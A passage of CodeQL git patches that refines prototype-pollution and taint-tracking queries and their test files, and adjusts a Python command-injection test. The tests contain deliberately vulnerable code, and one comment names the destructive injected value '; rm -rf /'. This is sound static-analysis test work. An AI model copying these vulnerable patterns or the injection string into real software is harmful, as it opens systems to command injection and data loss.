a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll @@ -1192,8 +1192,8 @@ private predicate loadStep( */ pragma[nomagic] private predicate reachableFromStoreBase( - string startProp, string endProp, DataFlow::Node base, DataFlow::Node nd, DataFlow::Configuration cfg, - PathSummary summary + string startProp, string endProp, DataFlow::Node base, DataFlow::Node nd, + DataFlow::Configuration cfg, PathSummary summary ) { exists(PathSummary s1, PathSummary s2, DataFlow::Node rhs | reachableFromSource(rhs, cfg, s1) @@ -1204,7 +1204,8 @@ private predicate reachableFromStoreBase( endProp = startProp and base = nd and summary = - MkPathSummary(false, s1.hasCall().booleanOr(s2.hasCall()), DataFlow::FlowLabel::data(), DataFlow::FlowLabel::data()) + MkPathSummary(false, s1.hasCall().booleanOr(s2.hasCall()), DataFlow::FlowLabel::data(), + DataFlow::FlowLabel::data()) ) or exists(PathSummary newSummary, PathSummary oldSummary | @@ -1221,8 +1222,8 @@ private predicate reachableFromStoreBase( */ pragma[noinline] private predicate reachableFromStoreBaseStep( - string startProp, string endProp, DataFlow::Node base, DataFlow::Node nd, DataFlow::Configuration cfg, - PathSummary oldSummary, PathSummary newSummary + string startProp, string endProp, DataFlow::Node base, DataFlow::Node nd, + DataFlow::Configuration cfg, PathSummary oldSummary, PathSummary newSummary ) { exists(DataFlow::Node mid | reachableFromStoreBase(startProp, endProp, base, mid, cfg, oldSummary) and @@ -1264,7 +1265,10 @@ private predicate storeToLoad( DataFlow::Node pred, DataFlow::Node succ, DataFlow::Configuration cfg, PathSummary oldSummary, PathSummary newSummary ) { - exists(string storeProp, string loadProp, DataFlow::Node storeBase, DataFlow::Node loadBase, PathSummary s1, PathSummary s2 | + exists( + string storeProp, string loadProp, DataFlow::Node storeBase, DataFlow::Node loadBase, + PathSummary s1, PathSummary s2 + | storeStep(pred, storeBase, storeProp, cfg, s1) and reachableFromStoreBase(storeProp, loadProp, storeBase, loadBase, cfg, s2) and oldSummary = s1.appendValuePreserving(s2) and diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll b/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll index 7fe1618f961..ab237733acc 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/TypeConfusionThroughParameterTamperingCustomizations.qll @@ -100,7 +100,8 @@ module TypeConfusionThroughParameterTampering { private class ProtoStringComparison extends Sink { ProtoStringComparison() { exists(EqualityTest test | - test.hasOperands(this.asExpr(), any(Expr e | e.getStringValue() = ["__proto__", "constructor"])) and + test.hasOperands(this.asExpr(), + any(Expr e | e.getStringValue() = ["__proto__", "constructor"])) and test.isStrict() ) } From 0496642b0b2acc628ed671db3e3f91dd6aec7c9e Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 7 Dec 2020 10:32:13 +0000 Subject: [PATCH 0171/1241] JS: Add test for captured flow into callback --- .../ql/src/semmle/javascript/dataflow/Configuration.qll | 4 +++- .../TaintTracking/BasicTaintTracking.expected | 1 + .../library-tests/TaintTracking/DataFlowTracking.expected | 1 + .../ql/test/library-tests/TaintTracking/callbacks.js | 8 ++++++++ 4 files changed, 13 insertions(+), 1 deletion(-) diff --git a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll index fa67b9159e9..def92d07fe3 100644 --- a/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll +++ b/javascript/ql/src/semmle/javascript/dataflow/Configuration.qll @@ -1291,7 +1291,9 @@ private predicate summarizedHigherOrderCall( DataFlow::Node innerArg, DataFlow::SourceNode cbParm, PathSummary oldSummary | reachableFromInput(f, outer, arg, innerArg, cfg, oldSummary) and - not arg = DataFlow::capturedVariableNode(_) and // Only track actual parameter flow + // Only track actual parameter flow. + // Captured flow does not need to be summarized - it is handled by the local case in `higherOrderCall`. + not arg = DataFlow::capturedVariableNode(_) and argumentPassing(outer, cb, f, cbParm) and innerArg = inner.getArgument(j) | diff --git a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected index e1383b7f9da..b0a729f5189 100644 --- a/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/BasicTaintTracking.expected @@ -31,6 +31,7 @@ typeInferenceMismatch | callbacks.js:44:17:44:24 | source() | callbacks.js:41:10:41:10 | x | | callbacks.js:50:18:50:25 | source() | callbacks.js:30:29:30:29 | y | | callbacks.js:51:18:51:25 | source() | callbacks.js:30:29:30:29 | y | +| callbacks.js:53:23:53:30 | source() | callbacks.js:58:10:58:10 | x | | capture-flow.js:9:11:9:18 | source() | capture-flow.js:14:10:14:16 | outer() | | captured-sanitizer.js:25:3:25:10 | source() | captured-sanitizer.js:15:10:15:10 | x | | closure.js:6:15:6:22 | source() | closure.js:8:8:8:31 | string. ... (taint) | diff --git a/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected b/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected index a304345d522..34a6b30bdce 100644 --- a/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected +++ b/javascript/ql/test/library-tests/TaintTracking/DataFlowTracking.expected @@ -22,6 +22,7 @@ | callbacks.js:44:17:44:24 | source() | callbacks.js:41:10:41:10 | x | | callbacks.js:50:18:50:25 | source() | callbacks.js:30:29:30:29 | y | | callbacks.js:51:18:51:25 | source() | callbacks.js:30:29:30:29 | y | +| callbacks.js:53:23:53:30 | source() | callbacks.js:58:10:58:10 | x | | capture-flow.js:9:11:9:18 | source() | capture-flow.js:14:10:14:16 | outer() | | captured-sanitizer.js:25:3:25:10 | source() | captured-sanitizer.js:15:10:15:10 | x | | constructor-calls.js:4:18:4:25 | source() | constructor-calls.js:18:8:18:14 | c.taint | diff --git a/javascript/ql/test/library-tests/TaintTracking/callbacks.js b/javascript/ql/test/library-tests/TaintTracking/callbacks.js index b463fddb925..e317514f88f 100644 --- a/javascript/ql/test/library-tests/TaintTracking/callbacks.js +++ b/javascript/ql/test/library-tests/TaintTracking/callbacks.js @@ -49,4 +49,12 @@ function test() { middleCallback(source()); middleCallback(source()); + + let capturedTaint = source(); + function helper2(cb) { + cb(capturedTaint); + } + helper2(x => { + sink(x); // NOT OK + }); } From 254ac7f963441a27e130448aec19125bcd3b46dc Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 7 Dec 2020 10:46:00 +0000 Subject: [PATCH 0172/1241] JS: Fix TypeofCheck --- .../dataflow/PrototypePollutingAssignment.qll | 11 ++++++---- .../PrototypePollutingAssignment.expected | 20 ++++++++++++++----- .../PrototypePollutingAssignment/tst.js | 11 +++++++++- 3 files changed, 32 insertions(+), 10 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll index ab3ab0255fc..5d9520bc86b 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -163,15 +163,18 @@ module PrototypePollutingAssignment { string value; TypeofCheck() { - astNode.getLeftOperand().(TypeofExpr).getOperand() = operand and - astNode.getRightOperand().getStringValue() = value + exists(TypeofExpr typeof, Expr str | + astNode.hasOperands(typeof, str) and + typeof.getOperand() = operand and + str.getStringValue() = value + ) } override predicate sanitizes(boolean outcome, Expr e, DataFlow::FlowLabel label) { ( - value = "object" and outcome = false + value = "object" and outcome = astNode.getPolarity().booleanNot() or - value != "object" and outcome = true + value != "object" and outcome = astNode.getPolarity() ) and e = operand and label instanceof ObjectPrototype diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected index aae97e5917b..3ef5681278c 100644 --- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/PrototypePollutingAssignment.expected @@ -17,8 +17,12 @@ nodes | tst.js:33:23:33:25 | obj | | tst.js:34:5:34:7 | obj | | tst.js:34:5:34:7 | obj | -| tst.js:42:9:42:11 | obj | -| tst.js:42:9:42:11 | obj | +| tst.js:39:9:39:11 | obj | +| tst.js:39:9:39:11 | obj | +| tst.js:45:9:45:11 | obj | +| tst.js:45:9:45:11 | obj | +| tst.js:48:9:48:11 | obj | +| tst.js:48:9:48:11 | obj | edges | tst.js:5:9:5:38 | taint | tst.js:8:12:8:16 | taint | | tst.js:5:9:5:38 | taint | tst.js:9:12:9:16 | taint | @@ -37,11 +41,17 @@ edges | tst.js:14:27:14:31 | taint | tst.js:14:5:14:32 | unsafeG ... taint) | | tst.js:33:23:33:25 | obj | tst.js:34:5:34:7 | obj | | tst.js:33:23:33:25 | obj | tst.js:34:5:34:7 | obj | -| tst.js:33:23:33:25 | obj | tst.js:42:9:42:11 | obj | -| tst.js:33:23:33:25 | obj | tst.js:42:9:42:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:39:9:39:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:39:9:39:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:45:9:45:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:45:9:45:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:48:9:48:11 | obj | +| tst.js:33:23:33:25 | obj | tst.js:48:9:48:11 | obj | #select | tst.js:8:5:8:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:8:5:8:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | | tst.js:9:5:9:17 | object[taint] | tst.js:5:24:5:37 | req.query.data | tst.js:9:5:9:17 | object[taint] | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | | tst.js:14:5:14:32 | unsafeG ... taint) | tst.js:5:24:5:37 | req.query.data | tst.js:14:5:14:32 | unsafeG ... taint) | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | | tst.js:34:5:34:7 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:34:5:34:7 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | -| tst.js:42:9:42:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:42:9:42:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:39:9:39:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:39:9:39:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:45:9:45:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:45:9:45:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | +| tst.js:48:9:48:11 | obj | tst.js:5:24:5:37 | req.query.data | tst.js:48:9:48:11 | obj | This assignment may alter Object.prototype if a malicious '__proto__' string is injected from $@. | tst.js:5:24:5:37 | req.query.data | here | diff --git a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js index 2e420cf6a2b..bc64d93e225 100644 --- a/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js +++ b/javascript/ql/test/query-tests/Security/CWE-915/PrototypePollutingAssignment/tst.js @@ -35,12 +35,21 @@ function mutateObject(obj, x) { if (obj instanceof Object) { obj.foo = x; // OK } + if (obj != null) { + obj.foo = x; // NOT OK + } if (typeof obj === 'function') { obj.foo = x; // OK } - if (obj != null) { + if (typeof obj !== 'function') { obj.foo = x; // NOT OK } + if (typeof obj === 'object') { + obj.foo = x; // NOT OK + } + if (typeof obj !== 'object') { + obj.foo = x; // OK + } } function unsafeGetProp(obj, prop) { From f96c425a720565ef9c3a1a3ba0da752a0f2f5015 Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 7 Dec 2020 10:50:01 +0000 Subject: [PATCH 0173/1241] JS: Deny -> block --- .../ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp index 2b31df9360d..c80e2371893 100644 --- a/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp +++ b/javascript/ql/src/Security/CWE-915/PrototypePollutingFunction.qhelp @@ -29,7 +29,7 @@

    Only merge or assign a property recursively when it is an own property of the destination object. - Alternatively, deny the property names __proto__ and constructor + Alternatively, block the property names __proto__ and constructor from being merged or assigned to.

    @@ -54,7 +54,7 @@

    - Alternatively, deny the __proto__ and constructor properties: + Alternatively, block the __proto__ and constructor properties:

    From 04f51bef5e151ea57c548033b8a14a8cc8ee308a Mon Sep 17 00:00:00 2001 From: Asger Feldthaus Date: Mon, 7 Dec 2020 10:52:38 +0000 Subject: [PATCH 0174/1241] JS: Add missing qldoc --- .../security/dataflow/PrototypePollutingAssignment.qll | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll index 5d9520bc86b..4c87db17413 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/PrototypePollutingAssignment.qll @@ -10,6 +10,10 @@ private import javascript private import semmle.javascript.DynamicPropertyAccess +/** + * Provides a taint tracking configuration for reasoning about + * prototype-polluting assignments. + */ module PrototypePollutingAssignment { private import PrototypePollutingAssignmentCustomizations::PrototypePollutingAssignment From 8444654117e009d2434edc24e9b1913c2ffae505 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 14:45:16 +0100 Subject: [PATCH 0175/1241] Python: Adjust whitespace in command injection test --- .../CWE-078/CommandInjection.expected | 78 +++++++++---------- .../Security/CWE-078/command_injection.py | 2 + 2 files changed, 41 insertions(+), 39 deletions(-) diff --git a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index 03748127520..700e5f2a1fb 100644 --- a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -1,42 +1,42 @@ edges -| command_injection.py:10:13:10:24 | ControlFlowNode for Attribute | command_injection.py:12:15:12:27 | ControlFlowNode for BinaryExpr | -| command_injection.py:17:13:17:24 | ControlFlowNode for Attribute | command_injection.py:19:22:19:34 | ControlFlowNode for BinaryExpr | -| command_injection.py:24:11:24:22 | ControlFlowNode for Attribute | command_injection.py:25:23:25:25 | ControlFlowNode for cmd | -| command_injection.py:30:13:30:24 | ControlFlowNode for Attribute | command_injection.py:32:14:32:26 | ControlFlowNode for BinaryExpr | -| command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | command_injection.py:39:15:39:21 | ControlFlowNode for command | -| command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | command_injection.py:40:15:40:21 | ControlFlowNode for command | -| command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:53:15:53:21 | ControlFlowNode for command | -| command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:54:14:54:20 | ControlFlowNode for command | -| command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:55:21:55:27 | ControlFlowNode for command | -| command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:56:27:56:33 | ControlFlowNode for command | -| command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:57:20:57:26 | ControlFlowNode for command | +| command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | +| command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | +| command_injection.py:25:11:25:22 | ControlFlowNode for Attribute | command_injection.py:26:23:26:25 | ControlFlowNode for cmd | +| command_injection.py:31:13:31:24 | ControlFlowNode for Attribute | command_injection.py:33:14:33:26 | ControlFlowNode for BinaryExpr | +| command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | command_injection.py:41:15:41:21 | ControlFlowNode for command | +| command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | command_injection.py:42:15:42:21 | ControlFlowNode for command | +| command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:55:15:55:21 | ControlFlowNode for command | +| command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:56:14:56:20 | ControlFlowNode for command | +| command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:57:21:57:27 | ControlFlowNode for command | +| command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:58:27:58:33 | ControlFlowNode for command | +| command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:59:20:59:26 | ControlFlowNode for command | nodes -| command_injection.py:10:13:10:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| command_injection.py:12:15:12:27 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | -| command_injection.py:17:13:17:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| command_injection.py:19:22:19:34 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | -| command_injection.py:24:11:24:22 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| command_injection.py:25:23:25:25 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | -| command_injection.py:30:13:30:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| command_injection.py:32:14:32:26 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | -| command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| command_injection.py:39:15:39:21 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | -| command_injection.py:40:15:40:21 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | -| command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | -| command_injection.py:53:15:53:21 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | -| command_injection.py:54:14:54:20 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | -| command_injection.py:55:21:55:27 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | -| command_injection.py:56:27:56:33 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | -| command_injection.py:57:20:57:26 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| command_injection.py:25:11:25:22 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:26:23:26:25 | ControlFlowNode for cmd | semmle.label | ControlFlowNode for cmd | +| command_injection.py:31:13:31:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:33:14:33:26 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | +| command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:41:15:41:21 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:42:15:42:21 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:55:15:55:21 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:56:14:56:20 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:57:21:57:27 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:58:27:58:33 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:59:20:59:26 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | #select -| command_injection.py:12:15:12:27 | ControlFlowNode for BinaryExpr | command_injection.py:10:13:10:24 | ControlFlowNode for Attribute | command_injection.py:12:15:12:27 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:10:13:10:24 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:19:22:19:34 | ControlFlowNode for BinaryExpr | command_injection.py:17:13:17:24 | ControlFlowNode for Attribute | command_injection.py:19:22:19:34 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:17:13:17:24 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:25:23:25:25 | ControlFlowNode for cmd | command_injection.py:24:11:24:22 | ControlFlowNode for Attribute | command_injection.py:25:23:25:25 | ControlFlowNode for cmd | This command depends on $@. | command_injection.py:24:11:24:22 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:32:14:32:26 | ControlFlowNode for BinaryExpr | command_injection.py:30:13:30:24 | ControlFlowNode for Attribute | command_injection.py:32:14:32:26 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:30:13:30:24 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:39:15:39:21 | ControlFlowNode for command | command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | command_injection.py:39:15:39:21 | ControlFlowNode for command | This command depends on $@. | command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:40:15:40:21 | ControlFlowNode for command | command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | command_injection.py:40:15:40:21 | ControlFlowNode for command | This command depends on $@. | command_injection.py:36:15:36:26 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:53:15:53:21 | ControlFlowNode for command | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:53:15:53:21 | ControlFlowNode for command | This command depends on $@. | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:54:14:54:20 | ControlFlowNode for command | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:54:14:54:20 | ControlFlowNode for command | This command depends on $@. | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:55:21:55:27 | ControlFlowNode for command | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:55:21:55:27 | ControlFlowNode for command | This command depends on $@. | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:56:27:56:33 | ControlFlowNode for command | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:56:27:56:33 | ControlFlowNode for command | This command depends on $@. | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | a user-provided value | -| command_injection.py:57:20:57:26 | ControlFlowNode for command | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | command_injection.py:57:20:57:26 | ControlFlowNode for command | This command depends on $@. | command_injection.py:52:15:52:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | command_injection.py:20:22:20:34 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:18:13:18:24 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:26:23:26:25 | ControlFlowNode for cmd | command_injection.py:25:11:25:22 | ControlFlowNode for Attribute | command_injection.py:26:23:26:25 | ControlFlowNode for cmd | This command depends on $@. | command_injection.py:25:11:25:22 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:33:14:33:26 | ControlFlowNode for BinaryExpr | command_injection.py:31:13:31:24 | ControlFlowNode for Attribute | command_injection.py:33:14:33:26 | ControlFlowNode for BinaryExpr | This command depends on $@. | command_injection.py:31:13:31:24 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:41:15:41:21 | ControlFlowNode for command | command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | command_injection.py:41:15:41:21 | ControlFlowNode for command | This command depends on $@. | command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:42:15:42:21 | ControlFlowNode for command | command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | command_injection.py:42:15:42:21 | ControlFlowNode for command | This command depends on $@. | command_injection.py:38:15:38:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:55:15:55:21 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:55:15:55:21 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:56:14:56:20 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:56:14:56:20 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:57:21:57:27 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:57:21:57:27 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:58:27:58:33 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:58:27:58:33 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | +| command_injection.py:59:20:59:26 | ControlFlowNode for command | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:59:20:59:26 | ControlFlowNode for command | This command depends on $@. | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | a user-provided value | diff --git a/python/ql/test/query-tests/Security/CWE-078/command_injection.py b/python/ql/test/query-tests/Security/CWE-078/command_injection.py index 524d49aab5b..25422d55e74 100644 --- a/python/ql/test/query-tests/Security/CWE-078/command_injection.py +++ b/python/ql/test/query-tests/Security/CWE-078/command_injection.py @@ -5,6 +5,7 @@ import subprocess from flask import Flask, request app = Flask(__name__) + @app.route("/command1") def command_injection1(): files = request.args.get('files', '') @@ -31,6 +32,7 @@ def others(): # Don't let files be `; rm -rf /` os.popen("ls " + files) + @app.route("/multiple") def multiple(): command = request.args.get('command', '') From 32b547b3f2501d4d17b07b6ae495a27add36765f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 14:54:37 +0100 Subject: [PATCH 0176/1241] Python: Add example of bad command injection sanitizer --- .../Security/CWE-078/CommandInjection.expected | 4 ++++ .../Security/CWE-078/command_injection.py | 14 ++++++++++++++ 2 files changed, 18 insertions(+) diff --git a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected index 700e5f2a1fb..606beac1705 100644 --- a/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected +++ b/python/ql/test/query-tests/Security/CWE-078/CommandInjection.expected @@ -10,6 +10,7 @@ edges | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:57:21:57:27 | ControlFlowNode for command | | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:58:27:58:33 | ControlFlowNode for command | | command_injection.py:54:15:54:26 | ControlFlowNode for Attribute | command_injection.py:59:20:59:26 | ControlFlowNode for command | +| command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | nodes | command_injection.py:11:13:11:24 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | | command_injection.py:13:15:13:27 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | @@ -28,6 +29,8 @@ nodes | command_injection.py:57:21:57:27 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | | command_injection.py:58:27:58:33 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | | command_injection.py:59:20:59:26 | ControlFlowNode for command | semmle.label | ControlFlowNode for command | +| command_injection.py:71:12:71:23 | ControlFlowNode for Attribute | semmle.label | ControlFlowNode for Attribute | +| command_injection.py:73:19:73:30 | ControlFlowNode for BinaryExpr | semmle.label | ControlFlowNode for BinaryExpr | #select | 